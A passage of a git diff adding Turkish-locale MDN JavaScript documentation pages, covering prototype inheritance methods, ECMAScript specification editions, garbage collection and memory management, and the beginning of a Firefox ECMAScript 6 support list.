in every browser imaginable (support goes all the way back to IE 5.5!). Also, it is very fast, very standard, and very JIST-optimizable.</td> + <td style="vertical-align: top;">In order to use this method, the function in question must be initialized. During this initialization, the constructor may store unique information that must be generated per-object. However, this unique information would only be generated once, potentially leading to problems. Additionally, the initialization of the constructor may put unwanted methods onto the object. However, both these are generally not problems at all (in fact, usually beneficial) if it is all your own code and you know what does what where.</td> + </tr> + <tr> + <td>Object.create</td> + <td style="vertical-align: top;"> + <pre class="brush: js"> +function foo(){} +foo.prototype = { + foo_prop: "foo val" +}; +function bar(){} +var proto = Object.create( + foo.prototype +); +proto.bar_prop = "bar val"; +bar.prototype = proto; +var inst = new bar; +console.log(inst.foo_prop); +console.log(inst.bar_prop); +</pre> + + <pre class="brush: js"> +function foo(){} +foo.prototype = { + foo_prop: "foo val" +}; +function bar(){} +var proto = Object.create( + foo.prototype, + { + bar_prop: { + value: "bar val" + } + } +); +bar.prototype = proto; +var inst = new bar; +console.log(inst.foo_prop); +console.log(inst.bar_prop)</pre> + </td> + <td style="vertical-align: top;">Support in all in-use-today browsers which are all non-microsoft browsers plus IE9 and up. Allows the direct setting of __proto__ in a way that is one-time-only so that the browser can better optimize the object. Also allows the creation of objects without a prototype via <code>Object.create(null)</code>.</td> + <td style="vertical-align: top;">Not supported in IE8 and below. However, as Microsoft has discontinued extended support for systems running these old browsers, this should not be a concern for most applications. Additionally, the slow object initialization can be a performance black hole if using the second argument because each object-descriptor property has its own separate descriptor object. When dealing with hundreds of thousands of object descriptors in the form of object, there can arise a serious issue with lag.</td> + </tr> + <tr> + <td> + <p>Object.setPrototypeOf</p> + </td> + <td style="vertical-align: top;"> + <pre class="brush: js"> +function foo(){} +foo.prototype = { + foo_prop: "foo val" +}; +function bar(){} +var proto = { + bar_prop: "bar val" +}; +Object.setPrototypeOf( + proto, foo.prototype +); +bar.prototype = proto; +var inst = new bar; +console.log(inst.foo_prop); +console.log(inst.bar_prop); +</pre> + + <pre class="brush: js"> +function foo(){} +foo.prototype = { + foo_prop: "foo val" +}; +function bar(){} +var proto; +proto=Object.setPrototypeOf( + { bar_prop: "bar val" }, + foo.prototype +); +bar.prototype = proto; +var inst = new bar; +console.log(inst.foo_prop); +console.log(inst.bar_prop)</pre> + </td> + <td style="vertical-align: top;">Support in all in-use-today browsers which are all non-microsoft browsers plus IE9 and up. Allows the dynamic manipulation of an objects prototype and can even force a prototype on a prototype-less object created with <code>Object.create(null)</code>.</td> + <td style="vertical-align: top;">Should-be-deprecated and ill-performant. Making your Javascript run fast is completely out of the question if you dare use this in the final production code because many browsers optimize the prototype and try to guess the location of the method in the memory when calling an instance in advance, but setting the prototype dynamically disrupts all these optimizations and can even force some browsers to recompile for deoptimization your code just to make it work according to the specs. Not supported in IE8 and below.</td> + </tr> + <tr> + <td>__proto__</td> + <td style="vertical-align: top;"> + <pre class="brush: js"> +function foo(){} +foo.prototype = { + foo_prop: "foo val" +}; +function bar(){} +var proto = { + bar_prop: "bar val", + __proto__: foo.prototype +}; +bar.prototype = proto; +var inst = new bar; +console.log(inst.foo_prop); +console.log(inst.bar_prop); +</pre> + + <pre class="brush: js"> +var inst = { + __proto__: { + bar_prop: "bar val", + __proto__: { + foo_prop: "foo val", + __proto__: Object.prototype + } + } +}; +console.log(inst.foo_prop); +console.log(inst.bar_prop)</pre> + </td> + <td style="vertical-align: top;">Support in all in-use-today browsers which are all non-microsoft browsers plus IE11 and up. Setting __proto__ to something that is not an object only fails silently. It does not throw an exception.</td> + <td style="vertical-align: top;">Grossly deprecated and non-performant. Making your Javascript run fast is completely out of the question if you dare use this in the final production code because many browsers optimize the prototype and try to guess the location of the method in the memory when calling an instance in advance, but setting the prototype dynamically disrupts all these optimizations and can even force some browsers to recompile for deoptimization your code just to make it work according to the specs. Not supported in IE10 and below.</td> + </tr> + </tbody> +</table> + +<h2 id="prototype_and_Object.getPrototypeOf"><code>prototype</code> and <code>Object.getPrototypeOf</code></h2> + +<p>JavaScript is a bit confusing for developers coming from Java or C++, as it's all dynamic, all runtime, and it has no classes at all. It's all just instances (objects). Even the "classes" we simulate are just a function object.</p> + +<p>You probably already noticed that our <code>function A</code> has a special property called <code>prototype</code>. This special property works with the JavaScript <code>new </code>operator. The reference to the prototype object is copied to the internal <code>[[Prototype]]</code> property of the new instance. For example, when you do <code>var a1 = new A()</code>, JavaScript (after creating the object in memory and before running function <code>A()</code> with <code>this</code> defined to it) sets <code>a1.[[Prototype]] = A.prototype</code>. When you then access properties of the instance, JavaScript first checks whether they exist on that object directly, and if not, it looks in <code>[[Prototype]]</code>. This means that all the stuff you define in <code>prototype</code> is effectively shared by all instances, and you can even later change parts of <code>prototype</code> and have the changes appear in all existing instances, if you wanted to.</p> + +<p>If, in the example above, you do <code>var a1 = new A(); var a2 = new A();</code> then <code>a1.doSomething</code> would actually refer to <code>Object.getPrototypeOf(a1).doSomething</code>, which is the same as the <code>A.prototype.doSomething</code> you defined, i.e. <code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p> + +<p>In short, <code>prototype</code> is for types, while <code>Object.getPrototypeOf()</code> is the same for instances.</p> + +<p><code>[[Prototype]]</code> is looked at <em>recursively</em>, i.e. <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>, <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> etc., until it's found or <code>Object.getPrototypeOf </code>returns null.</p> + +<p>So, when you call</p> + +<pre class="brush: js">var o = new Foo();</pre> + +<p>JavaScript actually just does</p> + +<pre class="brush: js">var o = new Object(); +o.[[Prototype]] = Foo.prototype; +Foo.call(o);</pre> + +<p>(or something like that) and when you later do</p> + +<pre class="brush: js">o.someProp;</pre> + +<p>it checks whether <code>o</code> has a property <code>someProp</code>. If not, it checks <code>Object.getPrototypeOf(o).someProp</code>, and if that doesn't exist it checks <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code>, and so on.</p> + +<h2 id="In_conclusion">In conclusion</h2> + +<p>It is essential to understand the prototypal inheritance model before writing complex code that makes use of it. Also, be aware of the length of the prototype chains in your code and break them up if necessary to avoid possible performance problems. Further, the native prototypes should <strong>never</strong> be extended unless it is for the sake of compatibility with newer JavaScript features.</p> diff --git a/files/tr/web/javascript/language_resources/index.html b/files/tr/web/javascript/language_resources/index.html new file mode 100644 index 0000000000..b9790c06d4 --- /dev/null +++ b/files/tr/web/javascript/language_resources/index.html @@ -0,0 +1,157 @@ +--- +title: JavaScript language resources +slug: Web/JavaScript/Language_Resources +tags: + - ECMA JavaScript Türkçe + - ECMA Türkçe + - ECMAScript6 + - Türkçe JavaScript +translation_of: Web/JavaScript/Language_Resources +--- +<div>{{JsSidebar}}</div> + +<p><strong>ECMAScript</strong> is the scripting language that forms the basis of <a href="/en-US/docs/JavaScript">JavaScript</a>. ECMAScript standardized by the <a href="https://www.ecma-international.org/" title="https://www.ecma-international.org/">ECMA International</a> standards organization in the <strong>ECMA-262 and ECMA-402 specifications</strong>. The following ECMAScript standards have been approved or are being worked on:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Name</th> + <th>Links</th> + <th>Release date</th> + <th>Description</th> + </tr> + <tr> + <th colspan="4">Current editions</th> + </tr> + <tr> + <td>ECMA-262 10<sup>th</sup> Edition</td> + <td> + <p><a href="https://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf">PDF</a>, <a href="https://ecma-international.org/ecma-262/10.0/index.html">HTML</a>, <a href="https://tc39.github.io/ecma262/">Working draft</a>, <a href="https://github.com/tc39/ecma262">repository</a></p> + </td> + <td>2019</td> + <td>ECMAScript 2019 Language Specification</td> + </tr> + <tr> + <td>ECMA-262 9<sup>th</sup> Edition</td> + <td> + <p><a href="http://ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="http://ecma-international.org/ecma-262/9.0/index.html#Title">HTML</a>, <br> + <a href="https://tc39.github.io/ecma262/">Working draft</a>, <a href="https://github.com/tc39/ecma262">repository</a></p> + </td> + <td>2018</td> + <td>ECMAScript 2018 Language Specification</td> + </tr> + <tr> + <td>ECMA-402 5<sup>th</sup> Edition</td> + <td><a href="https://tc39.github.io/ecma402/">Working draft</a>, <a href="https://github.com/tc39/ecma402">repository</a></td> + <td>2018</td> + <td>ECMAScript 2018 Internationalization API Specification</td> + </tr> + <tr> + <th colspan="4">Obsolete/historical editions</th> + </tr> + <tr> + <td>ECMA-262</td> + <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">PDF</a></td> + <td>June 1997</td> + <td>ECMAScript: A general purpose, cross-platform programming language. This was the first version of the ECMAScript standard.</td> + </tr> + <tr> + <td>ECMA-262 2<sup>nd</sup> Edition</td> + <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%202nd%20edition,%20August%201998.pdf">PDF</a></td> + <td>August 1998</td> + <td>ECMAScript Language Specification. This is the second revision of the ECMAScript standard; also ISO standard 16262.</td> + </tr> + <tr> + <td>ECMA-262 3<sup>rd</sup> Edition</td> + <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf">PDF</a></td> + <td>December 1999</td> + <td>ECMAScript Language Specification. This is the third revision of the ECMAScript standard; corresponds to JavaScript 1.5.<br> + See also the <a href="https://www.mozilla.org/js/language/E262-3-errata.html">errata</a></td> + </tr> + <tr> + <td>ECMA-262 5<sup>th</sup> Edition</td> + <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf">PDF</a></td> + <td>December 2009</td> + <td>ECMAScript Language Specification. This is the fifth revision of the ECMAScript standard.<br> + See also the <a href="https://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">ES5 errata</a> and <a href="/en-US/docs/JavaScript/ECMAScript_5_support_in_Mozilla" title="JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5 support in Mozilla</a></td> + </tr> + <tr> + <td>ECMA-357</td> + <td><a href="https://www.ecma-international.org/publications/files/ECMA-ST-WITHDRAWN/ECMA-357,%201st%20edition,%20June%202004.pdf">PDF</a></td> + <td>June 2004</td> + <td><a href="/en-US/docs/E4X" title="E4X">ECMAScript for XML (E4X)</a>.<br> + See also the <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">E4X errata</a>.</td> + </tr> + <tr> + <td>ECMA-262 5.1 Edition</td> + <td><a href="https://www.ecma-international.org/ecma-262/5.1/Ecma-262.pdf">PDF</a>, <a href="https://www.ecma-international.org/ecma-262/5.1/">HTML</a></td> + <td>June 2011</td> + <td>This version is fully aligned with the 3<sup>rd</sup> edition of the international standard <a href="https://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=55755">ISO/IEC 16262:2011</a>.<br> + It includes ES5 errata fixes, no new features.</td> + </tr> + <tr> + <td>ECMA-402 1<sup>st</sup> Edition</td> + <td><a href="https://ecma-international.org/ecma-402/1.0/ECMA-402.pdf">PDF</a>, <a href="https://ecma-international.org/ecma-402/1.0/index.html">HTML</a></td> + <td>December 2012</td> + <td>ECMAScript Internationalization API Specification</td> + </tr> + <tr> + <td>ECMA-262 6<sup>th</sup> Edition</td> + <td><a href="https://www.ecma-international.org/ecma-262/6.0/ECMA-262.pdf">PDF</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a></td> + <td>June 2015</td> + <td>ECMAScript 2015 Language Specification</td> + </tr> + <tr> + <td>ECMA-402 2<sup>nd</sup> Edition</td> + <td><a href="https://www.ecma-international.org/ecma-402/2.0/ECMA-402.pdf">PDF</a></td> + <td>June 2015</td> + <td>ECMAScript 2015 Internationalization API Specification</td> + </tr> + <tr> + <td>ECMA-262 7<sup>th</sup> Edition</td> + <td><a href="https://www.ecma-international.org/ecma-262/7.0/">HTML</a></td> + <td>June 2016</td> + <td>ECMAScript 2016 Language Specification</td> + </tr> + <tr> + <td>ECMA-402 3<sup>rd</sup> Edition</td> + <td><a href="https://www.ecma-international.org/ecma-402/3.0/">HTML</a></td> + <td>June 2016</td> + <td>ECMAScript 2016 Internationalization API Specification</td> + </tr> + <tr> + <td>ECMA-262 8<sup>th</sup> Edition</td> + <td><a href="https://www.ecma-international.org/ecma-262/8.0/">HTML</a></td> + <td>June 2017</td> + <td>ECMAScript 2017 Language Specification</td> + </tr> + <tr> + <td>ECMA-402 4<sup>th</sup> Edition</td> + <td><a href="https://www.ecma-international.org/ecma-402/4.0/">HTML</a></td> + <td>June 2017</td> + <td>ECMAScript 2017 Internationalization API Specification</td> + </tr> + </tbody> +</table> + +<p><strong>ES.Next</strong> is a dynamic name that refers to whatever the next version is at the time of writing. ES.Next features are more correctly called proposals, because, by definition, the specification has not been finalized yet.</p> + +<p>See <a href="https://en.wikipedia.org/wiki/ECMAScript" title="https://en.wikipedia.org/wiki/ECMAScript">Wikipedia ECMAScript entry</a> for more information on ECMAScript history.</p> + +<p>You can participate in or just track the work on the next revisions of the ECMAScript Language Specification, code-named "Harmony", and the ECMAScript Internationalization API Specification via public wiki and the <a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss mailing list</a> linked from <a href="https://www.ecmascript.org/community.php" title="https://www.ecmascript.org/community.php">ecmascript.org</a>.</p> + +<h2 id="Implementations">Implementations</h2> + +<ul> + <li><a href="/en-US/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a> - the JavaScript engine used in various Mozilla products, including Firefox;</li> + <li><a href="/en-US/docs/Rhino" title="Rhino">Rhino</a> - the JavaScript engine is written in Java;</li> + <li><a href="/en-US/docs/Tamarin" title="Tamarin">Tamarin</a> - the ActionScript virtual machine (used in the Adobe® Flash® Player);</li> + <li><a href="https://en.wikipedia.org/wiki/List_of_ECMAScript_engines" title="https://en.wikipedia.org/wiki/List_of_ECMAScript_engines">Other implementations</a> (Wikipedia).</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://brendaneich.com/" title="https://brendaneich.com/">Brendan Eich's blog</a>. Brendan is the creator of JavaScript and the SpiderMonkey JS engine. He still works with the ECMA working group to evolve the language.</li> + <li><a href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Dmitry Soshnikov's analysis of ECMA-262 Edition 3 and 5</a></li> +</ul> diff --git a/files/tr/web/javascript/memory_management/index.html b/files/tr/web/javascript/memory_management/index.html new file mode 100644 index 0000000000..50c5a36819 --- /dev/null +++ b/files/tr/web/javascript/memory_management/index.html @@ -0,0 +1,199 @@ +--- +title: Bellek Yönetimi +slug: Web/JavaScript/Memory_Management +translation_of: Web/JavaScript/Memory_Management +--- +<div>{{JsSidebar("Advanced")}}</div> + +<p>Low-level languages like C, have manual memory management primitives such as <a href="https://pubs.opengroup.org/onlinepubs/009695399/functions/malloc.html">malloc()</a> and <a href="https://en.wikipedia.org/wiki/C_dynamic_memory_allocation#Overview_of_functions">free()</a>. In contrast, JavaScript automatically allocates memory when objects are created and frees it when they are not used anymore (<em>garbage collection</em>). This automaticity is a potential source of confusion: it can give developers the false impression that they don't need to worry about memory management.</p> + +<h2 id="Memory_life_cycle">Memory life cycle</h2> + +<p>Regardless of the programming language, the memory life cycle is pretty much always the same:</p> + +<ol> + <li>Allocate the memory you need</li> + <li>Use the allocated memory (read, write)</li> + <li>Release the allocated memory when it is not needed anymore</li> +</ol> + +<p>The second part is explicit in all languages. The first and last parts are explicit in low-level languages but are mostly implicit in high-level languages like JavaScript.</p> + +<h3 id="Allocation_in_JavaScript">Allocation in JavaScript</h3> + +<h4 id="Value_initialization">Value initialization</h4> + +<p>In order to not bother the programmer with allocations, JavaScript will automatically allocate memory when values are initially declared.</p> + +<pre class="brush: js">var n = 123; // allocates memory for a number +var s = 'azerty'; // allocates memory for a string + +var o = { + a: 1, + b: null +}; // allocates memory for an object and contained values + +// (like object) allocates memory for the array and +// contained values +var a = [1, null, 'abra']; + +function f(a) { + return a + 2; +} // allocates a function (which is a callable object) + +// function expressions also allocate an object +someElement.addEventListener('click', function() { + someElement.style.backgroundColor = 'blue'; +}, false); +</pre> + +<h4 id="Allocation_via_function_calls">Allocation via function calls</h4> + +<p>Some function calls result in object allocation.</p> + +<pre class="brush: js">var d = new Date(); // allocates a Date object + +var e = document.createElement('div'); // allocates a DOM element</pre> + +<p>Some methods allocate new values or objects:</p> + +<pre class="brush: js">var s = 'azerty'; +var s2 = s.substr(0, 3); // s2 is a new string +// Since strings are immutable values, +// JavaScript may decide to not allocate memory, +// but just store the [0, 3] range. + +var a = ['ouais ouais', 'nan nan']; +var a2 = ['generation', 'nan nan']; +var a3 = a.concat(a2); +// new array with 4 elements being +// the concatenation of a and a2 elements. +</pre> + +<h3 id="Using_values">Using values</h3> + +<p>Using values basically means reading and writing in allocated memory. This can be done by reading or writing the value of a variable or an object property or even passing an argument to a function.</p> + +<h3 id="Release_when_the_memory_is_not_needed_anymore">Release when the memory is not needed anymore</h3> + +<p>The majority of memory management issues occur at this phase. The most difficult aspect of this stage is determining when the allocated memory is no longer needed. </p> + +<p>Low-level languages require the developer to manually determine at which point in the program the allocated memory is no longer needed and to release it.</p> + +<p>Some high-level languages, such as JavaScript, utilize a form of automatic memory management known as <a href="https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)">garbage collection</a> (GC). The purpose of a garbage collector is to monitor memory allocation and determine when a block of allocated memory is no longer needed and reclaim it. This automatic process is an approximation since the general problem of determining whether or not a specific piece of memory is still needed is <a class="external" href="http://en.wikipedia.org/wiki/Decidability_%28logic%29">undecidable</a>.</p> + +<h2 id="Garbage_collection">Garbage collection</h2> + +<p>As stated above, the general problem of automatically finding whether some memory "is not needed anymore" is undecidable. As a consequence, garbage collectors implement a restriction of a solution to the general problem. This section will explain the concepts that are necessary for understanding the main garbage collection algorithms and their respective limitations.</p> + +<h3 id="References">References</h3> + +<p>The main concept that garbage collection algorithms rely on is the concept of <em>reference</em>. Within the context of memory management, an object is said to reference another object if the former has access to the latter (either implicitly or explicitly). For instance, a JavaScript object has a reference to its <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype</a> (implicit reference) and to its properties values (explicit reference).</p> + +<p>In this context, the notion of an "object" is extended to something broader than regular JavaScript objects and also contain function scopes (or the global lexical scope).</p> + +<h3 id="Reference-counting_garbage_collection">Reference-counting garbage collection</h3> + +<p>This is the most naive garbage collection algorithm. This algorithm reduces the problem from determining whether or not an object is still needed to determining if an object still has any other objects referencing it. An object is said to be "garbage", or collectible if there are zero references pointing to it.</p> + +<h4 id="Example">Example</h4> + +<pre class="brush: js">var x = { + a: { + b: 2 + } +}; +// 2 objects are created. One is referenced by the other as one of its properties. +// The other is referenced by virtue of being assigned to the 'x' variable. +// Obviously, none can be garbage-collected. + + +var y = x; // The 'y' variable is the second thing that has a reference to the object. + +x = 1; // Now, the object that was originally in 'x' has a unique reference + // embodied by the 'y' variable. + +var z = y.a; // Reference to 'a' property of the object. + // This object now has 2 references: one as a property, + // the other as the 'z' variable. + +y = 'mozilla'; // The object that was originally in 'x' has now zero + // references to it. It can be garbage-collected. + // However its 'a' property is still referenced by + // the 'z' variable, so it cannot be freed. + +z = null; // The 'a' property of the object originally in x + // has zero references to it. It can be garbage collected. +</pre> + +<h4 id="Limitation_Circular_references">Limitation: Circular references</h4> + +<p>There is a limitation when it comes to circular references. In the following example, two objects are created with properties that reference one another, thus creating a cycle. They will go out of scope after the function call has completed. At that point they become unneeded and their allocated memory should be reclaimed. However, the reference-counting algorithm will not consider them reclaimable since each of the two objects has at least one reference pointing to them, resulting in neither of them being marked for garbage collection. Circular references are a common cause of memory leaks.</p> + +<pre class="brush: js">function f() { + var x = {}; + var y = {}; + x.a = y; // x references y + y.a = x; // y references x + + return 'azerty'; +} + +f(); +</pre> + +<h4 id="Real-life_example">Real-life example</h4> + +<p>Internet Explorer 6 and 7 are known to have reference-counting garbage collectors for DOM objects. Cycles are a common mistake that can generate memory leaks:</p> + +<pre class="brush: js">var div; +window.onload = function() { + div = document.getElementById('myDivElement'); + div.circularReference = div; + div.lotsOfData = new Array(10000).join('*'); +}; +</pre> + +<p>In the above example, the DOM element "myDivElement" has a circular reference to itself in the "circularReference" property. If the property is not explicitly removed or nulled, a reference-counting garbage collector will always have at least one reference intact and will keep the DOM element in memory even if it was removed from the DOM tree. If the DOM element holds a large amount of data (illustrated in the above example with the "lotsOfData" property), the memory consumed by this data will never be released and can lead to memory related issues such as the browser becoming increasingly slower.</p> + +<h3 id="Mark-and-sweep_algorithm">Mark-and-sweep algorithm</h3> + +<p>This algorithm reduces the definition of "an object is no longer needed" to "an object is unreachable".</p> + +<p>This algorithm assumes the knowledge of a set of objects called <em>roots. </em>In JavaScript, the root is the global object. Periodically, the garbage collector will start from these roots, find all objects that are referenced from these roots, then all objects referenced from these, etc. Starting from the roots, the garbage collector will thus find all <em>reachable</em> objects and collect all non-reachable objects.</p> + +<p>This algorithm is an improvement over the previous one since an object having zero references is effectively unreachable. The opposite does not hold true as we have seen with circular references.</p> + +<p>As of 2012, all modern browsers ship a mark-and-sweep garbage-collector. All improvements made in the field of JavaScript garbage collection (generational/incremental/concurrent/parallel garbage collection) over the last few years are implementation improvements of this algorithm, but not improvements over the garbage collection algorithm itself nor its reduction of the definition of when "an object is no longer needed".</p> + +<h4 id="Cycles_are_no_longer_a_problem">Cycles are no longer a problem</h4> + +<p>In the first example above, after the function call returns, the two objects are no longer referenced by any resource that is reachable from the global object. Consequently, they will be found unreachable by the garbage collector and have their allocated memory reclaimed.</p> + +<h4 id="Limitation_Releasing_memory_manually">Limitation: Releasing memory manually</h4> + +<p>There are times when it would be convenient to manually decide when and what memory is released. In order to release the memory of an object, it needs to be made explicitly unreachable.</p> + +<p>As of 2019, it is not possible to explicitly or programmatically trigger garbage collection in JavaScript.</p> + +<h2 id="Node.js">Node.js</h2> + +<p>Node.js offers additional options and tools for configuring and debugging memory issues that may not be available for JavaScript executed within a browser environment.</p> + +<h4 id="V8_Engine_Flags">V8 Engine Flags</h4> + +<p>The max amount of available heap memory can be increased with a flag:</p> + +<p><code>node --<em>max-old-space-size=6000</em> index.js</code></p> + +<p>We can also expose the garbage collector for debugging memory issues using a flag and the <a href="https://nodejs.org/en/docs/guides/debugging-getting-started/">Chrome Debugger</a>:</p> + +<pre class="brush: bash">node --expose-gc --inspect index.js</pre> + +<h4 id="See_also">See also</h4> + +<ul> + <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">IBM article on "Memory leak patterns in JavaScript" (2007)</a></li> + <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Kangax article on how to register event handler and avoid memory leaks (2010)</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance" title="https://developer.mozilla.org/en-US/docs/Mozilla/Performance">Performance</a></li> +</ul> diff --git a/files/tr/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html b/files/tr/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html new file mode 100644 index 0000000000..d9000c94f7 --- /dev/null +++ b/files/tr/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html @@ -0,0 +1,283 @@ +--- +title: Mozilla ECMAScript 6 Destegi +slug: Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla +translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla +--- +<div>{{jsSidebar("New_in_JS")}}</div> + +<p>ECMAScript 2015 (6. version), ECMAScript Dili standartlarinin su an gecerli olan versiyonudur. ECMAScript 2015, Firefox ve diger Mozilla uygulamalarinda kullanilan JavaScript yoneticisi <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey"><u><font color="#0066cc">SpiderMonkey</font></u></a> de uygulanan <a href="/en-US/docs/Web/JavaScript"><u><font color="#0066cc">JavaScript</font></u></a> standardlarini tanimlamaktadir. </p> + +<p><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla"><u><font color="#0066cc">ECMAScript 5.1</font></u></a> taban alinarak hazirlanan ve "ES.next", "Harmony" kod isimleri ile hazirlanan ilk calisir taslak 12 Temmuz 2011 de "ES.next" adi ile yayinlanmistir. ECMAScript 2015 nin ozellikleri Agustos 2014 te son sekline getirilip bu asamadan sonra hatalarin ve iyilestirilmelerin yapildigi periyoda girilmistir. ECMA-262 Version 6, ECMA General Assembly tarafindan 17 Haziran 2015 de resmi standart olarak onaylanmis ve yayinlanmistir. Bu standartlar, ayni zamanda uluslararasi endustri standartlari ISO/IEC 16252:2016 da yerini almistir. </p> + +<p>Soz konusu stardartlarin <a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a> ve <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a> versiyonlari ucresitsiz olarak <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ecma-international.org</a> sitesinden indirilebilir.</p> + +<p>ECMAScript standartlari ile dusunce ve izlenimler <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a> uzerinden yapilabilinir.</p> + +<h2 id="Firefox_tarafindan_desteklenen_ozellikler">Firefox tarafindan desteklenen ozellikler</h2> + +<p>Listelenen tum ozellikler hala hazirda Firefox tarafindan destekleniyor olup, her ozelligin hangi versiondan itibaren dekteklendigi de ayrica belirtilmistir.</p> + +<p>Standart kutuphane</p> + +<h4 id="Array_nesnesine_yapilan_eklemeler"><code>Array</code> nesnesine yapilan eklemeler:</h4> + +<ul> + <li>{{jsxref("Array")}} iteration with <code>for...of</code> (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)</li> + <li>{{jsxref("Array.from()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li> + <li>{{jsxref("Array.of()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> + <li>{{jsxref("Array.prototype.fill()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li> + <li>{{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> + <li>{{jsxref("Array.prototype.entries()")}},<br> + {{jsxref("Array.prototype.keys()")}} (<a href="/en-US/Firefox/Releases/28">Firefox 28</a>)</li> + <li>{{jsxref("Array.prototype.copyWithin()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li> +</ul> + +<h4 id="Yeni_Map_ve_Set_nesneleri">Yeni <code>Map</code> ve <code>Set</code> nesneleri</h4> + +<ul> + <li>{{jsxref("Map")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>) + + <ul> + <li>{{jsxref("Map")}} iteration with <code>for...of</code> (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li> + <li>{{jsxref("Map.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> + <li>{{jsxref("Map.prototype.entries()")}},<br> + {{jsxref("Map.prototype.keys()")}},<br> + {{jsxref("Map.prototype.values()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li> + <li>Constructor degiskeni: <code>new {{jsxref("Map")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li> + <li>Monkey-patched <code>set()</code> in Constructor (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li> + <li>{{jsxref("Map.@@species", "get Map[@@species]")}} (<a href="/en-US/Firefox/Releases/41">Firefox 41</a>)</li> + </ul> + </li> + <li>{{jsxref("Set")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>) + <ul> + <li>{{jsxref("Set")}} iteration with <code>for...of</code> (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li> + <li>{{jsxref("Set.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li> + <li>{{jsxref("Set.prototype.entries()")}},<br> + {{jsxref("Set.prototype.keys()")}},<br> + {{jsxref("Set.prototype.values()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li> + <li>Constructor degiskeni: <code>new {{jsxref("Set")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li> + <li>Constructor da Monkey-patched <code>add()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li> + <li>{{jsxref("Set.@@species", "get Set[@@species]")}} (<a href="/en-US/Firefox/Releases/41">Firefox 41</a>)</li> + </ul> + </li> + <li>{{jsxref("WeakMap")}} (<a href="/en-US/Firefox/Releases/6">Firefox 6</a>) + <ul> + <li>{{jsxref("WeakMap.clear()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li> + <li>{{jsxref("WeakMap")}} constructor da opsiyonel iterable degiskeni (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li> + <li>Constructor degiskeni <code>new {{jsxref("WeakMap")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li> + <li>Constructor da Monkey-patched <code>set()</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li> + </ul> + </li> + <li>{{jsxref("WeakSet")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>) + <ul> + <li>Constructor degiskeni: <code>new {{jsxref("WeakSet")}}(null)</code> (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li> + <li>Monkey-patched <code>add()</code> in Constructor (<a href="/en-US/Firefox/Releases/37">Firefox 37</a>)</li> + </ul> + </li> +</ul> + +<h4 